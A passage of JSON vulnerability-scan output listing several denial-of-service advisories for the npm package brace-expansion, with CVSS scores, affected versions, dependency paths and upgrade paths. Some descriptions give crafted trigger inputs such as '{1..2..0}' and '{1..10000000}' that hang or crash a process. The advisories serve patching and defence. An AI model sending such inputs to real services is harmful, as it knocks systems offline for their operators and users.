"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": 